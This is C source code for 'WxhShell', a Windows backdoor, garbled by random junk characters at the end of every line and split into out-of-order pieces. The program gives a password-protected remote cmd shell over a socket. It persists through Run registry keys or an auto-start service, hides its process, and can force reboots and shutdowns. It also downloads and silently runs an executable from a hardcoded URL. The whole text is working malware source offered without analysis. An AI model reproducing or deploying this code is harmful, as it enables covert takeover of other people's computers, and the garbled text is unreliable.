    if(Boot(SHUTDOWN)) tB6k|cPC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hY;_/!_  
    else { 8[5|_Eh+  
    closesocket(wsh); Lyoor1   
    ExitThread(0); Pn WD}'0V  
    } 3;/?q  
    break; ,+L KJl  
    } \2DE ==M)P  
  // 获取shell }C6@c1myq-  
  case 's': { Q7Ij4  
    CmdShell(wsh); =I4.Gf"~f  
    closesocket(wsh); \KM|f9-b  
    ExitThread(0); F-0UdV  
    break; H^(L90  
  } v[#)GB _5  
  // 退出 cdp0!W4Gi  
  case 'x': { YdOUv|tZC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "EPD2,%S  
    CloseIt(wsh); zXre~b03ZS  
    break; =7jEz+w#  
    } l1-HO  
  // 离开 qi=3L  
  case 'q': { :c4kBl%gJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); kV)' a  
    closesocket(wsh); #)74X% 4(  
    WSACleanup(); !IA KVQ  
    exit(1); DX@}!6|T  
    break; FBY ODw  
        } km>o7V&4G  
  } Npa-$N&P{S  
  } rz6jx  
*SZ>upg  
  // 提示信息 }iNY_I c  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \iZ1W  
} FMS2.E  
  } njMLyT($  
Q4%IxR?  
  return; 4 X`^{~  
} /yYlu  
xH$%5@~  
// shell模块句柄 T-P@u-DU  
int CmdShell(SOCKET sock) |~NeB"l{  
{ 2LhE]O(_"  
STARTUPINFO si; E~He~wHWe  
ZeroMemory(&si,sizeof(si)); {wu!6\:<??  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 37>MJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H1Xovr  
PROCESS_INFORMATION ProcessInfo; ,OB&nN t>  
char cmdline[]="cmd"; Nmf#`+7gCI  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <nA3Sd"QfV  
  return 0; AQ}l%  
} 3wNN<R  
4(m3c<'P  
// 自身启动模式 *|'}v[{v^9  
int StartFromService(void) :&$Xe1)i]  
{ "jGe^+9uT  
typedef struct ? ).(fP  
{ dofR)"<p,^  
  DWORD ExitStatus; Mf7E72{D  
  DWORD PebBaseAddress; >sV Bj(f  
  DWORD AffinityMask; ngqUH  
  DWORD BasePriority; liG~y|  
  ULONG UniqueProcessId; LW?2}`+  
  ULONG InheritedFromUniqueProcessId; /nM*ljfB\  
}   PROCESS_BASIC_INFORMATION; 4~WlP,,M  
jr1Se9u D  
PROCNTQSIP NtQueryInformationProcess; b-b;7a\N  
we a\8[U3"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +~:0Dxv W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N7B}O*;  
AzX(~Qc  
  HANDLE             hProcess; `q1}6U/k  
  PROCESS_BASIC_INFORMATION pbi; ?M<|r11}  
uN&M\(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =+Tsknq  
  if(NULL == hInst ) return 0; ~[;{   
&|] Fg5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H2]BMkum  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); MZi8Fo'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gD40y\9r  
PDZ)*$EE  
  if (!NtQueryInformationProcess) return 0; <Am^z~[  
-AeHY'T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tQnJS2V"{u  
  if(!hProcess) return 0; F\P!NSFZV  
A?V<l<EAm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; faJ8zX  
Z{16S=0  
  CloseHandle(hProcess); bl9E&B/  
G[B*TM6$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -9i+@%{/  
if(hProcess==NULL) return 0; :\T_'Shq  
/K&wr6  
HMODULE hMod; 2c*2\93>  
char procName[255]; C9+Dw#-f V  
unsigned long cbNeeded; Xa\]ua_  
?/L1tX)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T/3;NXe6E  
'Sk6U]E~  
  CloseHandle(hProcess); 0Cv4/Ar(  
4w2L?PDMi  
if(strstr(procName,"services")) return 1; // 以服务启动 EkV!hqs*  
l?N`V2SuR  
  return 0; // 注册表启动 '.xkn{c  
} {kv4g\a;  
@) ]t8(  
// 主模块 {.%0@{Y  
int StartWxhshell(LPSTR lpCmdLine) /iTH0@Kw;  
{ N}1-2  
  SOCKET wsl; .y(@Y6hO  
BOOL val=TRUE; ^W{eO@  
  int port=0; :'TX"E!  
  struct sockaddr_in door; @~Rk^/0  
?##y`.+O  
  if(wscfg.ws_autoins) Install(); J]_)gb'1BR  
 K oL%}u&  
port=atoi(lpCmdLine); 0c{Gr 0[>  
p@`4 Qz  
if(port<=0) port=wscfg.ws_port; Z'Zd[."s  
RH1U_gp4 ]  
  WSADATA data; KN|'|2/|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9yp^zL  
EzwF`3RjK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   aw;{<?*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZW`HDrP`  
  door.sin_family = AF_INET; LIc*tsl  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e1Dj0s?i~K  
  door.sin_port = htons(port); ]oo|o1H87  
H==X0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W'8J<VBD  
closesocket(wsl); ;%lJD"yF  
return 1; HX z iDnj  
} r{c5dQ  
il<gjlyR]L  
  if(listen(wsl,2) == INVALID_SOCKET) { )E_!rR  
closesocket(wsl); _p?I{1O  
return 1; uV#-8a5!  
} </~1p~=hAt  
  Wxhshell(wsl); __Vg/C!W  
  WSACleanup(); XWJ0=t&}  
_y.mpX&  
return 0; Ni/|C19Z  
+lW+H12  
} iOE9FW|e  
.kz(V5  
// 以NT服务方式启动 (p}9^Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K>`m_M"LA  
{ !;6W!%t.|  
DWORD   status = 0; DWHOS XA4  
  DWORD   specificError = 0xfffffff; S;G"L$&\  
=/)Mc@Hb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *(>F'>F1"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8yNRx iW:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B>c[Zg1  
  serviceStatus.dwWin32ExitCode     = 0; ](idf(j  
  serviceStatus.dwServiceSpecificExitCode = 0; 99=[>Ck)G  
  serviceStatus.dwCheckPoint       = 0; GA}hp%  
  serviceStatus.dwWaitHint       = 0; kjQIagw  
})Ix .!p  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C8O7i[uc  
  if (hServiceStatusHandle==0) return; "@F*$JGT y  
OD>u$tI9  
status = GetLastError(); KI^q 5D ?  
  if (status!=NO_ERROR) @*AYm-k  
{ B`t)rBy  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0EF,uRb  
    serviceStatus.dwCheckPoint       = 0; S8rW'}XJ=H  
    serviceStatus.dwWaitHint       = 0; 89?3,k  
    serviceStatus.dwWin32ExitCode     = status; `XFX`1  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ta!m%=8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }j]<&I}  
    return; $NH`Iu9t  
  } 0YgFjd 5  
G*kXWEx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ([z<TS#Md  
  serviceStatus.dwCheckPoint       = 0; H"kc^G+(R"  
  serviceStatus.dwWaitHint       = 0; O#<|[Dzw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _oYA;O  
} bUEt0wRR  
U:C-\ M  
// 处理NT服务事件,比如:启动、停止 fbW,0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) woC FN1W  
{ 4IH0un  
switch(fdwControl) 0Te)s3X  
{ IDL^0:eg<.  
case SERVICE_CONTROL_STOP: Il tg0`  
  serviceStatus.dwWin32ExitCode = 0; @9 qzn&A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t(LlWd  
  serviceStatus.dwCheckPoint   = 0; 6= aBD_2@  
  serviceStatus.dwWaitHint     = 0; mU e@Dud  
  { o%9Ua9|RR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k1@  A'n  
  } <%5-Pzp  
  return; &9GR2GY  
case SERVICE_CONTROL_PAUSE: '=@H2T6=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; GhchfI.  
  break; D|8sjp4  
case SERVICE_CONTROL_CONTINUE: 8z3I~yL_`+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -X6\[I:+A  
  break; '/n%}=a=  
case SERVICE_CONTROL_INTERROGATE: x1BDvTqW  
  break; UlLM<33_)  
}; JXD?a.vy^q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2!"\;/  
} O_%PBgcJr  
J_((o  
// 标准应用程序主函数 EzeDShN=J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9cx!N,R t  
{ GwU>o:g"  
vb80J<4  
// 获取操作系统版本 b*F :l#  
OsIsNt=GetOsVer(); AU${0#WV_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); MSrY*)n!>O  
G Yy!`E  
  // 从命令行安装 e P,XH{s  
  if(strpbrk(lpCmdLine,"iI")) Install(); LbmB([p  
1zEZ\G  
  // 下载执行文件 u" NIG  
if(wscfg.ws_downexe) { )b:~kuHi  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bl!f5ROS(  
  WinExec(wscfg.ws_filenam,SW_HIDE); GhfUCW%  
} u3v6$CD?  
`mHOgS>|  
if(!OsIsNt) { Z ^9{Qq  
// 如果时win9x,隐藏进程并且设置为注册表启动 &xMJ^Nv  
HideProc(); ]I.& .?^i0  
StartWxhshell(lpCmdLine); 7T(OV<q;#  
} O'yjB$j  
else ofJ]`]~VG  
  if(StartFromService()) JQVw6*u{  
  // 以服务方式启动 ;JD3tM<  
  StartServiceCtrlDispatcher(DispatchTable); Gh>fp  
else #B.w7y5*  
  // 普通方式启动 KE)D =P  
  StartWxhshell(lpCmdLine); #Ot*jb1  
DJ2]NA$Q*  
return 0; ba)YbP[  
} >Qbc(}w  
1p "EE~ v  
9'*ZEl^?D  
BC0c c[x  
=========================================== d ;7pri)B  
E( 4lu%  
hhgz=7Y  
bCx1g/   
%F]9^C+  
UEYM;$_@4o  
" _*?"[TYfX  
_=^hnv  
#include <stdio.h> R_*D7|v  
#include <string.h> +}L3T"  
#include <windows.h> j'Q-*-3  
#include <winsock2.h> Sph"w08  
#include <winsvc.h> o_KcnVQ\  
#include <urlmon.h> )s7Tv#[  
"drh+oo.  
#pragma comment (lib, "Ws2_32.lib") 08n%% F  
#pragma comment (lib, "urlmon.lib") a):Run  
jvQ+u L  
#define MAX_USER   100 // 最大客户端连接数 pZJQKTCG  
#define BUF_SOCK   200 // sock buffer R{Kd%Y:2Y  
#define KEY_BUFF   255 // 输入 buffer 3L%r_N*a  
FC- *?  
#define REBOOT     0   // 重启 po$ynp756  
#define SHUTDOWN   1   // 关机 4l!Yop0h  
?OYwM?Uf  
#define DEF_PORT   5000 // 监听端口 P(i2bbU  
sluZ-,zE  
#define REG_LEN     16   // 注册表键长度 j[Zni D  
#define SVC_LEN     80   // NT服务名长度 xW;[}t-QS  
G~hILW^  
// 从dll定义API > FcA ,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C05{,w?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); cyP* QW[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BNoCE!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _M4v1Hr48  
Ac(irPrD  
// wxhshell配置信息 f<U m2YGW  
struct WSCFG { |iJZC  
  int ws_port;         // 监听端口 }/}`onRZ  
  char ws_passstr[REG_LEN]; // 口令 \ui~n:aWJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no :a!a  
  char ws_regname[REG_LEN]; // 注册表键名 @DC2ci >  
  char ws_svcname[REG_LEN]; // 服务名 h|uP=0   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >W]"a3E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -:p1gg&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +PXfr~ 4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 86 /i~s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" whZ],R*u  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GZ[h`FJg/  
E=~WQ13Q  
}; 4k?JxA)  
>s?;2T2"yx  
// default Wxhshell configuration 1Kf t?g  
struct WSCFG wscfg={DEF_PORT, lGBdQc]IL  
    "xuhuanlingzhe", ITqigGan%  
    1, bme#G{[)Y  
    "Wxhshell", mb`}sTU).  
    "Wxhshell", w8#>xV^~  
            "WxhShell Service", \R6T" U  
    "Wrsky Windows CmdShell Service", R M+K":p  
    "Please Input Your Password: ", 0Lz56e'j  
  1, Q/`o6xv  
  "http://www.wrsky.com/wxhshell.exe", 1xV1#'@[Jd  
  "Wxhshell.exe" Wq&c,H  
    }; m]}"FMH$  
19{?w6G<k  
// 消息定义模块 b/}0 &VXo  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4xn^`xf9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; WWD@rnsVf  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HZ4 ^T7G  
char *msg_ws_ext="\n\rExit."; I[IQFka}  
char *msg_ws_end="\n\rQuit."; OL"5A18;M  
char *msg_ws_boot="\n\rReboot..."; 0(f;am0y  
char *msg_ws_poff="\n\rShutdown..."; !e"m*S.(6{  
char *msg_ws_down="\n\rSave to "; ZoReyY2  
QD VA*6F  
char *msg_ws_err="\n\rErr!"; ?G<I N)  
char *msg_ws_ok="\n\rOK!"; ?o'arxCxZn  
qc"/T16M]  
char ExeFile[MAX_PATH]; yVv3S[J  
int nUser = 0; !)3Su=*R  
HANDLE handles[MAX_USER]; ?+tZP3'  
int OsIsNt; TmAb! Y|F  
TBfl9Q  
SERVICE_STATUS       serviceStatus; ?\VN`8Yb  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U*h)nc  
\eN/fTPm  
// 函数声明 0DT2qM[,  
int Install(void); Px&Mi:4tG  
int Uninstall(void); Q</HFpE  
int DownloadFile(char *sURL, SOCKET wsh); +%$V?y (  
int Boot(int flag); "jMnYEG  
void HideProc(void); x)mC^  
int GetOsVer(void); 9Bw5 t@  
int Wxhshell(SOCKET wsl); 1/J*ki+?  
void TalkWithClient(void *cs); <bppu>&  
int CmdShell(SOCKET sock); b#j5fEY  
int StartFromService(void); #T`+~tW'|  
int StartWxhshell(LPSTR lpCmdLine); j" .6  
l Nto9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L<]P K4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); e2ZUl` {g  
L KR,CPz  
// 数据结构和表定义 ,R6$SrNcd  
SERVICE_TABLE_ENTRY DispatchTable[] = ZWEzL$VWi  
{ ) hB*Hjh  
{wscfg.ws_svcname, NTServiceMain}, <L#r6y~H  
{NULL, NULL} [6N39G$  
}; *j:5  
bvTkS EN  
// 自我安装 . Dxrc  
int Install(void) )Q?[_<1Y+  
{ lI<8)42yq  
  char svExeFile[MAX_PATH]; kO"aE~  
  HKEY key; -e\56%\~_  
  strcpy(svExeFile,ExeFile); Vk T3_f  
ZA@"uqa6b  
// 如果是win9x系统,修改注册表设为自启动 '2oBi6|X  
if(!OsIsNt) { "S#hzrEdYI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z H4#\d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &>t1A5  
  RegCloseKey(key); Xxw.{2Ji!q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :\RB ^3;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n8,/olqwW  
  RegCloseKey(key); QV1%Zou  
  return 0; [}3Y1t{G  
    } 1Xc%%j  
  } ghiElsBU  
} 7|Y8^T s  
else { I ]1fH  
.?NAq[H%  
// 如果是NT以上系统,安装为系统服务 vkmR cX:/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m!(K  
if (schSCManager!=0) +R$KEGu~0Y  
{ Ne_>%P|I_  
  SC_HANDLE schService = CreateService ')<$AMy1  
  ( 5o #8DIal  
  schSCManager, z0Hh8*  
  wscfg.ws_svcname, 0l*/_;wo  
  wscfg.ws_svcdisp, MLX.MUS  
  SERVICE_ALL_ACCESS, K.Z{4x=0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U"Oq85vY  
  SERVICE_AUTO_START, :wm^04<i   
  SERVICE_ERROR_NORMAL, EZV$1pa  
  svExeFile, 1XRVbQt  
  NULL, d0 az#Yg!  
  NULL, )G&OX  
  NULL, } q(0uzaG  
  NULL, =QRZ(2Wq  
  NULL ZS]e}]Zwp  
  ); ESI}+  
  if (schService!=0) D%v yO_k  
  { Wd# 6Y}:  
  CloseServiceHandle(schService); _i#Z'4?2E  
  CloseServiceHandle(schSCManager); ,zaveQ~l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); HL]?CWtGP  
  strcat(svExeFile,wscfg.ws_svcname); xm5D$m3#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \=~Ap#Mpc4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~ 5b %~:  
  RegCloseKey(key); 107SXYdhI  
  return 0; EzaOg|  
    } E3qX$|.$/  
  } ~MX@-Ff  
  CloseServiceHandle(schSCManager); ^y,ip=<5\3  
} 3ssio-X  
} p"Y=  
H Vy^^$  
return 1; hV)I C9  
} MRc^lYj{  
19_F\32  
// 自我卸载 5YasD6l  
int Uninstall(void) sh 1fz 6g  
{ j06DP _9M  
  HKEY key; ?}.(k/  
{U9jA_XX  
if(!OsIsNt) { E7D DMU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -~g3?!+Hb  
  RegDeleteValue(key,wscfg.ws_regname); ;DTNw=  
  RegCloseKey(key); <Jx{Uv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "O`;zC  
  RegDeleteValue(key,wscfg.ws_regname); ?W(f%/B#  
  RegCloseKey(key); yLP0w^Q  
  return 0; M<729M  
  } IP3-lru  
} yY+2;`CH  
} 6-~  
else { Velmq'n  
foeVjL:T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h;6@-\6  
if (schSCManager!=0) +J} 41  
{ a5iMCmL+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >,v~,<3 i  
  if (schService!=0) vR,'':  
  { DuWP)#kg  
  if(DeleteService(schService)!=0) { 7]Egu D4  
  CloseServiceHandle(schService); _F,OS<>  
  CloseServiceHandle(schSCManager); I6\3wU~).  
  return 0; km^AX:r1  
  } )q,}jeM8  
  CloseServiceHandle(schService); L%DL n  
  } Qmrcng}P  
  CloseServiceHandle(schSCManager); &Fi8@0Fh  
} {MS&t09Wh  
} k}/: xN"  
PQK_*hJG"  
return 1; ;# {x_>M  
} -'nx7wnj2  
#O~Y[''C5X  
// 从指定url下载文件 p#&6Ed*V  
int DownloadFile(char *sURL, SOCKET wsh) H\^^p!^)  
{ ka hv1s-  
  HRESULT hr; ]:njP3r  
char seps[]= "/"; WM#!X!Vo  
char *token; U+ 8[Ia(t  
char *file; %nIjRmqM~  
char myURL[MAX_PATH]; *n47.(a2i  
char myFILE[MAX_PATH]; 29GiNy+ob  
<[q)2 5RL  
strcpy(myURL,sURL); L/ZZe5I  
  token=strtok(myURL,seps); OJ 2M_q)e  
  while(token!=NULL) mB\5bSFY`  
  { _k}b  
    file=token; s(dox; d  
  token=strtok(NULL,seps); ex['{|a{  
  } Wj3H  y4  
:+6m<?R)T  
GetCurrentDirectory(MAX_PATH,myFILE); ZGrV? @o,6  
strcat(myFILE, "\\"); t!~mbx+  
strcat(myFILE, file); emHi= [!i  
  send(wsh,myFILE,strlen(myFILE),0); HG^8&uh]  
send(wsh,"...",3,0); %8ul}}d9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N&n{R8=^"  
  if(hr==S_OK) @.5Ybgn  
return 0; >ko;CQR  
else 7yc:=^ )  
return 1; }A#FGH +  
V=c&QPP  
} i{,>2KVC|  
5pDxFs=v  
// 系统电源模块 )y K!EK\  
int Boot(int flag) c(~M<nL0  
{ C>;}CH|X  
  HANDLE hToken; :\>UZ9h #  
  TOKEN_PRIVILEGES tkp; o;O_N^_W  
9uq| VU5  
  if(OsIsNt) { A_g'9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -uh/W=Q1R  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bXJE 2N  
    tkp.PrivilegeCount = 1; MF1u8Yl:0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; snK/,lm.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [Nq4<NK  
if(flag==REBOOT) { H95VU"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hIdGQKr>V  
  return 0; 9KP+  
} 1rN&Y,61\  
else { O`2%@%?I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Cjd +\7#G  
  return 0; S-1}3T%  
} ,^'Y7"  
  } KLxg  
  else { wCdUYgsPT"  
if(flag==REBOOT) { ubgq8@;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OZ-F+#d  
  return 0; TEYbB=.  
} gC'GZi^  
else { 2n@"|\uHD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o~~_>V)W  
  return 0; 5?Bi+fg  
} ZpwB"%e$  
} G1D(-X4ALZ  
Um|:AT}`^  
return 1; { u;ntDr  
} 8g$ 8]'M^T  
V9MA)If>  
// win9x进程隐藏模块 <uAqb Wu  
void HideProc(void) T"2ye9a  
{ 0!^{V:DtQ  
20J:_+=]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "\B Li C  
  if ( hKernel != NULL ) -j(/5.a  
  { aWit^dp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \=QG6&_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SY)o<MD  
    FreeLibrary(hKernel); ;mMn-+3<  
  } C|>#|5XaF  
%xY'v$ %  
return; F:\y#U6"J  
} tvg7mU]l  
Yu8WmX,[  
// 获取操作系统版本 Fa;CWyt  
int GetOsVer(void) \h"s[G zq  
{ 10a=[\ Q  
  OSVERSIONINFO winfo; F6fm{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F'Wef11Yz  
  GetVersionEx(&winfo); ){6;o& CC:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T$+}Srb  
  return 1; Z,!Rj7wZ  
  else 7`P(LQAr!  
  return 0; &)wQ|{P~k  
} v7g-M  
QN0Ik 2L  
// 客户端句柄模块 q-uYfXZ{j  
int Wxhshell(SOCKET wsl) y(q1~73s  
{ ]CTu |  
  SOCKET wsh; #-@dc  
  struct sockaddr_in client; [@/G?sAQm\  
  DWORD myID; 04,]upC${W  
0z,c6MjM+  
  while(nUser<MAX_USER) $bN%x/  
{ /  ]I]  
  int nSize=sizeof(client); Z'u`)jR  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rMI:zFS  
  if(wsh==INVALID_SOCKET) return 1; GSMP)8 W  
WJ mj|$D  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nc`[fy|}  
if(handles[nUser]==0) `OBDx ^6F  
  closesocket(wsh); $#0%gs/x  
else =LuA [g  
  nUser++; $ccI(J`zux  
  } V{(ve#y7`{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ao0F?2|  
T,;6q!s=  
  return 0; u[cbRn,W  
} b|4h2iuM  
Qs~;?BH&  
// 关闭 socket 1N2:4|woe  
void CloseIt(SOCKET wsh) 5 1 L:%Af  
{ br0gB3 r  
closesocket(wsh); {lqnn n3  
nUser--; \b' <q  
ExitThread(0); bZ0r/f,n$  
} c.NAUe_3  
'!Q[+@$  
// 客户端请求句柄 5<&<61[A  
void TalkWithClient(void *cs) 8p PAEf  
{ qG~O] ($  
V-t!  
  SOCKET wsh=(SOCKET)cs; d]+g3oy `  
  char pwd[SVC_LEN]; 3{ `fT5]U  
  char cmd[KEY_BUFF]; u0N1+-6kr+  
char chr[1]; 6n<:ph,h;  
int i,j; zaX30e:R  
xH*OEzN  
  while (nUser < MAX_USER) { Ff.gRx  
/\C9FGS  
if(wscfg.ws_passstr) { vk{dL'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $S6AqUk$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?-*_v//g  
  //ZeroMemory(pwd,KEY_BUFF); )=8X[<^i  
      i=0; _4.fT  
  while(i<SVC_LEN) { j# o0y5S  
Y]ZOvA5W  
  // 设置超时 tR*J M$T  
  fd_set FdRead; Z~$fTW6g  
  struct timeval TimeOut; zX|CW;  
  FD_ZERO(&FdRead); F!N;4J5u  
  FD_SET(wsh,&FdRead); tZ4W]od  
  TimeOut.tv_sec=8; )PR{ia64;<  
  TimeOut.tv_usec=0; Z1*y$=D?3[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E5.)ro=$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /J1O{L  
C <]rY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0;o`7f  
  pwd=chr[0]; H<"{wUPT0  
  if(chr[0]==0xd || chr[0]==0xa) { eBG7]u,Q  
  pwd=0; O+c@B}[!  
  break; m &s0Ub  
  } {cC9 }w  
  i++; [O9(sWL'  
    } )7:2v1Xr]  
.}2^YOmd  
  // 如果是非法用户,关闭 socket C$Ldz=d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %Wn/)#T|  
} ~E#>2Mh  
9fyk7~ V  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Fj -mo>"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O Y/QA  
ss |<\DE+  
while(1) { omY%sQ{)  
<(;"L<?D<C  
  ZeroMemory(cmd,KEY_BUFF); s +^YGB  
mJ[LmQ<:  
      // 自动支持客户端 telnet标准   'V .4Nhd  
  j=0; Spt[b.4mF  
  while(j<KEY_BUFF) { EzwYqw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /6b(w=pk  
  cmd[j]=chr[0]; N%n#mV;  
  if(chr[0]==0xa || chr[0]==0xd) { if r!ha+8!  
  cmd[j]=0; Nmns3D  
  break; }8 fG+H.  
  } ]MRE^Je\h  
  j++; 8K7zh.E  
    } $]!uX&  
'GS1"rkW<5  
  // 下载文件 A\k@9w\Ll;  
  if(strstr(cmd,"http://")) { % ;09J  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8kX3.X`  
  if(DownloadFile(cmd,wsh)) %TvunV7NQS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @D Qg1|m  
  else hekAics6S  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K-(,,wS  
